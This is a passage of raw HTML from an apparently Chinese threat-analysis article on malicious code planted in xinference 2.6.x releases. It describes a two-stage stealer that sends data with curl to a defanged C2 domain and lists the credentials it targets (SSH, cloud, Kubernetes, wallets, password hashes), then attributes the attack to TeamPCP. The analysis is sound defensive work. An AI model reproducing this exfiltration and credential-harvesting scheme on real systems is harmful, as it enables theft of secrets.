&#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span style="font-size: 15px;"><span lang="EN-US" style="color: black;background: white;" data-pm-slice="0 0 []"><span leaf="">exec() </span></span><span style="color: black;background: white;"><span leaf="">当前进程同步执行</span></span></span></span></p></td><td data-colwidth="159"><p><span style="font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span style="font-size: 15px;"><span lang="EN-US" style="color: black;background: white;" data-pm-slice="0 0 []"><span leaf="">subprocess.Popen() </span></span><span style="color: black;background: white;"><span leaf="">子进程异步执行</span></span></span></span></p></td></tr><tr><td data-colwidth="98"><p><span style="font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span style="font-size: 15px;"><span leaf="">隐蔽性</span></span></span></p></td><td data-colwidth="149"><p><span style="font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span style="font-size: 15px;"><span style="color: black;background: white;" data-pm-slice="0 0 []"><span leaf="">较低（顶层明文可见）</span></span></span></span></p></td><td data-colwidth="153"><p><span style="font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span style="font-size: 15px;"><span style="color: black;background: white;" data-pm-slice="0 0 []"><span leaf="">较高（嵌入合法函数体）</span></span></span></span></p></td><td data-colwidth="159"><p data-mpa-action-id="mognowzx1fzg"><span style="font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span style="font-size: 15px;"><span style="color: black;background: white;" data-pm-slice="0 0 []"><span leaf="">较高（嵌入合法函数体）</span></span></span></span></p></td></tr></tbody></table></p></div><p style="margin-top: 16px;text-align: center;"><span leaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-ratio="0.5043243243243243" style="width: 553.74px;height: 279.27px;" data-w="1850" src="https://wechat2rss.xlab.app/img-proxy/?k=4f93a8e7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEmmib7pWXrXJnA39fteqVCyXlfcROibnUPiaXChkzuick8MuKLP2USm8OxDm22gHv1A6ppByVsCcUoZiaL41QPxd42ZPpUPoGXtbRJEKyO3JPzgY%2F640%3Fwx_fmt%3Dpng"/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/></span></p></div></div></div></div></div></div><p style="text-indent: 0px;text-align: center;margin-bottom: 16px;margin-top: 16px;line-height: 1.6em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="color: rgb(136, 136, 136);font-style: italic;">图2 xinference V2.6.0版本__init__.py文件恶意代码示例</span></span><o:page></o:page></p><p style="text-indent: 0px;text-align: center;margin-bottom: 16px;margin-top: 16px;line-height: 1.6em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.5549222797927461" data-w="1930" style="width: 553.74px;height: 307.27px;" src="https://wechat2rss.xlab.app/img-proxy/?k=2a3f7d2e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FEmmib7pWXrXKfNumPicUdxAmkzfUh79icnJicibwuww9q9zgZmNTlxn0GYvzflmib66sLHCUEpAxnicp6gk1n0xMolvVZSRane70VAibIOdnbcqiaxII%2F640%3Fwx_fmt%3Dpng"/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/></span></p><p style="text-indent: 0px;text-align: center;margin-bottom: 16px;margin-top: 16px;line-height: 1.6em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" mpa-font-style="moglxmt824ph"><span textstyle="" style="color: rgb(136, 136, 136);font-style: italic;">图3 xinference V2.6.1版本__init__.py文件恶意代码示例</span></span></p><p style="text-indent: 0px;text-align: center;margin-bottom: 16px;margin-top: 16px;line-height: 1.6em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.524031007751938" data-w="1935" style="width: 553.74px;height: 290.2px;" src="https://wechat2rss.xlab.app/img-proxy/?k=0f864c40&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FEmmib7pWXrXLm2ABe2EJIyTo69NCia42oGUpGNx0s9bSXEoibheoEMzHCclZK8U5LplOPDCuUPQl9T7sib4uYia0d9OeRQoqJRMpn8oqKqNgbAy0%2F640%3Fwx_fmt%3Dpng"/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/></span></p><p style="text-indent: 0px;text-align: center;margin-bottom: 16px;margin-top: 16px;line-height: 1.6em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" mpa-font-style="moglxmt8xct"><span textstyle="" style="color: rgb(136, 136, 136);font-style: italic;">图4 xinference V2.6.2版本__init__.py文件恶意代码示例</span></span></p><p style="text-indent: 2em;text-align: justify;margin-bottom: 16px;margin-top: 16px;line-height: 1.6em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" mpa-font-style="moglxmt8t59">对恶意载荷进行分析确认，该恶意采用了分阶段执行的方式：第一阶段负责载荷释放、结果打包与外传；第二阶段负责在受害主机中大范围搜集敏感信息与凭证材料。</span></p><p style="text-indent: 0px;text-align: justify;margin-bottom: 16px;margin-top: 16px;line-height: 1.6em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" mpa-font-style="moglxmt81wbi"><span textstyle="" style="font-weight: bold;">第一阶段：</span></span></p><p style="text-indent: 2em;text-align: justify;margin-bottom: 16px;margin-top: 16px;line-height: 1.6em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" mpa-font-style="moglxmt81b2z">第一阶段脚本开头即包含明显的攻击者标记 “# hacked by teampcp”。其主要功能将内嵌BASE64内容解码，通过 subprocess.run() 调用当前 Python 解释器执行这段解码后的第二阶段脚本，标准输出被写入临时文件 f。如果收集到内容，就用 tar -czf 打包为 love.tar.gz。最后使用自定义头“X-QT-SR”，通过 curl 以二进制流上传到C2域名 https[:]//whereisitat[.]lucyatemysuperbox.space/。</span><o:page></o:page></p><p style="text-indent: 0px;text-align: center;margin-bottom: 16px;margin-top: 16px;line-height: 1.6em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><img class="rich_pages wxw-img" data-aistatus="1" data-ratio="0.7448849104859335" style="width: 553.74px;height: 412.47px;" data-w="1564" src="https://wechat2rss.xlab.app/img-proxy/?k=5e72e1de&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEmmib7pWXrXLzZyZggZwby4g8DqpEU164w2lrDdq7sJa43cqQYGaHtvE9fkSdjQeYp45gYlj9DVC8WSL6QbzrjzKoKu1Smhkj4A0ruicxO8bs%2F640%3Fwx_fmt%3Dpng"/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/></span></p><p style="text-indent: 0px;text-align: center;margin-bottom: 16px;margin-top: 16px;line-height: 1.6em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="color: rgb(136, 136, 136);font-style: italic;">图</span></span><span leaf="" style="line-height: 1.6em;color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" mpa-font-style="moglxmt8lpp"><span textstyle="" style="color: rgb(136, 136, 136);font-style: italic;">5 阶段1恶意代码示例</span></span></p><p style="text-indent: 0px;text-align: justify;margin-bottom: 16px;margin-top: 16px;line-height: 1.6em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" mpa-font-style="moglxmt8173i"><span textstyle="" style="font-weight: bold;">第二阶段：</span></span></p><p style="text-indent: 2em;text-align: justify;margin-bottom: 16px;margin-top: 16px;line-height: 1.6em;"><span lang="EN-US" mpa-font-style="moglxmt820bj" style="font-size: 17px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">第二阶段样本核心目标是批量搜集主机、容器、云凭证、密钥、配置、历史记录和区块链钱包材料。</span></span></p><ul style="list-style-type: disc;" class="list-paddingleft-1"><li><p style="text-indent: 0px;text-align: justify;margin-bottom: 16px;margin-top: 16px;line-height: 1.6em;"><span lang="EN-US" mpa-font-style="moglxmt820bj" style="font-size: 17px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">主机与网络环境探测：收集主机名、当前路径、执行身份、内核、网卡、路由及全部环境变量，进行主机画像。</span></span></p></li><li><p style="text-indent: 0px;text-align: justify;margin-bottom: 16px;margin-top: 16px;line-height: 1.6em;"><span lang="EN-US" mpa-font-style="moglxmt820bj" style="font-size: 17px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">SSH 凭证与主机密钥窃取：获取用户 SSH 私钥、主机私钥和信任关系信息；</span></span></p></li></ul><ul style="list-style-type: disc;" class="list-paddingleft-1"><li><p style="text-indent: 0px;text-align: justify;margin-bottom: 16px;margin-top: 16px;line-height: 1.6em;"><span lang="EN-US" mpa-font-style="moglxmt820bj" style="font-size: 17px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">开发者与源码仓库凭证窃取：搜集了 .git-credentials 及各类包管理与依赖仓库的认证文件；</span></span></p></li><li><p style="text-indent: 0px;text-align: justify;margin-bottom: 16px;margin-top: 16px;line-height: 1.6em;"><span lang="EN-US" mpa-font-style="moglxmt820bj" style="font-size: 17px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">环境变量与 `.env` 配置搜集：获取数据库密码、应用密钥、JWT secret、第三方 API Token；</span></span></p></li><li><p style="text-indent: 0px;text-align: justify;margin-bottom: 16px;margin-top: 16px;line-height: 1.6em;"><span lang="EN-US" mpa-font-style="moglxmt820bj" style="font-size: 17px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">AWS 凭证搜集与云元数据打点：从本地凭证、容器角色凭证、实例角色凭证三条路径拿 AWS 访问权限；</span></span></p></li><li><p style="text-indent: 0px;text-align: justify;margin-bottom: 16px;margin-top: 16px;line-height: 1.6em;"><span lang="EN-US" mpa-font-style="moglxmt820bj" style="font-size: 17px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">Kubernetes 凭证与集群秘密搜集：获取集群访问令牌、命名空间 secrets、控制面配置；</span></span></p></li><li><p style="text-indent: 0px;text-align: justify;margin-bottom: 16px;margin-top: 16px;line-height: 1.6em;"><span lang="EN-US" mpa-font-style="moglxmt820bj" style="font-size: 17px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">GCP / Azure / Docker 凭证搜集：窃取云平台访问令牌与镜像仓库认证信息；</span></span></p></li><li><p style="text-indent: 0px;text-align: justify;margin-bottom: 16px;margin-top: 16px;line-height: 1.6em;"><span lang="EN-US" mpa-font-style="moglxmt820bj" style="font-size: 17px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">数据库、消息与系统侧敏感配置搜集：窃取数据库与基础设施认证数据；</span></span></p></li><li><p style="text-indent: 0px;text-align: justify;margin-bottom: 16px;margin-top: 16px;line-height: 1.6em;"><span lang="EN-US" mpa-font-style="moglxmt820bj" style="font-size: 17px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">VPN、IaC 与证书材料搜集：获取基础设施部署凭据、TLS 私钥与网络接入配置；</span></span></p></li><li><p style="text-indent: 0px;text-align: justify;margin-bottom: 16px;margin-top: 16px;line-height: 1.6em;"><span lang="EN-US" mpa-font-style="moglxmt820bj" style="font-size: 17px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">Webhook/Token 模式搜索：递归扫描并窃取目标系统中的 Slack/Discord Webhook 地址及硬编码的 API 密钥、访问令牌等敏感凭证；</span></span></p></li><li><p style="text-indent: 0px;text-align: justify;margin-bottom: 16px;margin-top: 16px;line-height: 1.6em;"><span lang="EN-US" mpa-font-style="moglxmt820bj" style="font-size: 17px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">加密货币钱包与节点密钥窃取：针对数字资产钱包、验证者节点和签名密钥；</span></span></p></li><li><p style="text-indent: 0px;text-align: justify;margin-bottom: 16px;margin-top: 16px;line-height: 1.6em;"><span lang="EN-US" mpa-font-style="moglxmt820bj" style="font-size: 17px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">系统账户与登录痕迹搜集：收集用户清单、密码哈希与登录成功记录。</span></span><o:page></o:page></p></li></ul><p style="text-indent: 0px;text-align: center;margin-bottom: 16px;margin-top: 16px;line-height: 1.6em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.5444856348470807" data-w="2158" style="width: 553.74px;height: 301.47px;" src="https://wechat2rss.xlab.app/img-proxy/?k=d020919f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEmmib7pWXrXJ5srYmWFb3Bibrf0oJ36Via2YuGzSfibG8kekMeS3QaRkcVx3bTmuRV9HAlaPCcTqiaicPeSGAOrKRnIwEIhHHTD7cyk2JarmbC4g0%2F640%3Fwx_fmt%3Dpng"/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/></span></p><p style="text-indent: 0px;text-align: center;margin-bottom: 16px;margin-top: 16px;line-height: 1.6em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" mpa-font-style="moglxmt81fxa"><span textstyle="" style="color: rgb(136, 136, 136);font-style: italic;">图6 阶段2恶意代码示例</span></span></p><div data-mpa-template="t" mpa-data-temp-power-by="yiban.io" mpa-data-temp-type="title" mpa-from-tpl="t" data-mpa-action-id="mogma5r7l7m"><div data-mpa-template="t" mpa-from-tpl="t"><div style="display: flex;align-items: center;justify-content: center;" data-mid="" mpa-from-tpl="t"><div style="display: flex;flex-direction: column;justify-content: center;align-items: center;" data-mid="" mpa-from-tpl="t"><p style="color: #B5230B;padding: 0 8px;text-align: justify;font-family: &#34;PingFang SC&#34;;font-size: 22px;font-style: normal;font-weight: 600;line-height: 44px;letter-spacing: 1.32px;border-radius: 6px;background: #FFEAAE;" data-mid="" mpa-from-tpl="t" mpa-none-content="t"><span leaf="" mpa-font-style="mogmaj5q13gk" style="font-size: 18px;" data-mpa-action-id="mogmaj662c7" data-pm-slice="0 0 []">02</span></p><p style="width: 36px;margin-top: 8px;" data-mid="" mpa-from-tpl="t" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.25675675675675674" data-w="74" style="display: block;background-color: transparent;" src="https://wechat2rss.xlab.app/img-proxy/?k=c92a70d5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FpALNiaJfvo0JYIUacERibiaqVWp28U3y2T3pVQNg7t7fEmUkOHj1MRKlht1cQBpzoSMKK3u5nXvl8qPEuRpWiacWy3I0B66bn686GQq5SD0coCs%2F640%3Ffrom%3Dappmsg"/></p></div><div style="display: flex;justify-content: flex-end;align-items: end;margin-top: -5px;padding-bottom: 8px;border-bottom: 1px solid #B5230B;" data-mid="" mpa-from-tpl="t"><div style="width: fit-content;color: #FFF;text-align: justify;font-family: &#34;PingFang SC&#34;;font-size: 18px;font-style: normal;font-weight: 600;line-height: 36px;letter-spacing: 1.08px;border-radius: 4px;background: #B5230B;padding: 2px 16px;margin-left: 8px;margin-right: 19px;" data-mid="" mpa-from-tpl="t" yb-mpa-mark="mark-style-text"><p data-mid="" mpa-from-tpl="t"><span leaf="" mpa-is-content="t" mpa-font-style="mogmambr1b28" style="font-size: 18px;" data-mpa-action-id="mogmamc41adw" data-pm-slice="0 0 []">归属研判</span></p></div><p data-mid="" mpa-from-tpl="t" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.8367346938775511" data-w="49" style="width: 20px;transform: translateY(-2px);display: block;background-color: transparent;" src="https://wechat2rss.xlab.app/img-proxy/?k=017f44fe&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2FF9Qia9yBKiatjeBG0kXBR5Cd9AyUcayibLOPlp9iaY6YeUYBoLZcTaxbd1AyxyefO5x7GCicw0ESwHZRJ1mVib8hic1X63a7fhsibcGicibhgNOT8SMbM%2F640%3Ffrom%3Dappmsg"/></p></div></div></div></div><p style="text-indent: 2em;text-align: justify;margin-bottom: 16px;margin-top: 16px;line-height: 1.6em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" mpa-font-style="moglxmt81tsl">在第一阶段样本中，攻击者留有明确的文本标记 &#34;# hacked by teampcp&#34;，从字面上看，该标记指向近期活跃于开源供应链攻击领域的 TeamPCP 组织。</span></p><p style="text-indent: 0px;text-align: center;margin-bottom: 16px;margin-top: 16px;line-height: 1.6em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.27768456375838924" data-w="1192" style="width: 553.74px;height: 153.74px;" src="https://wechat2rss.xlab.app/img-proxy/?k=491c090c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FEmmib7pWXrXLKvVKfCfu7vuvvaAlicRMavic4JPj4xUQupaQMh9xrC805Le8TKicLKJYVostsNJo0OItoqXWw2VBLjWmEIPREyahc6bbrrlPOoA%2F640%3Fwx_fmt%3Dpng"/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/></span></p><p style="text-indent: 0px;text-align: center;margin-bottom: 16px;margin-top: 16px;line-height: 1.6em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" mpa-font-style="moglxmt8li5"><span textstyle="" style="color: rgb(136, 136, 136);font-style: italic;">图7 阶段1恶意代码文本标记</span></span></p><p style="text-indent: 2em;text-align: justify;margin-bottom: 16px;margin-top: 16px;line-height: 1.6em;"><span leaf="" style="color: rgba(0, 0, 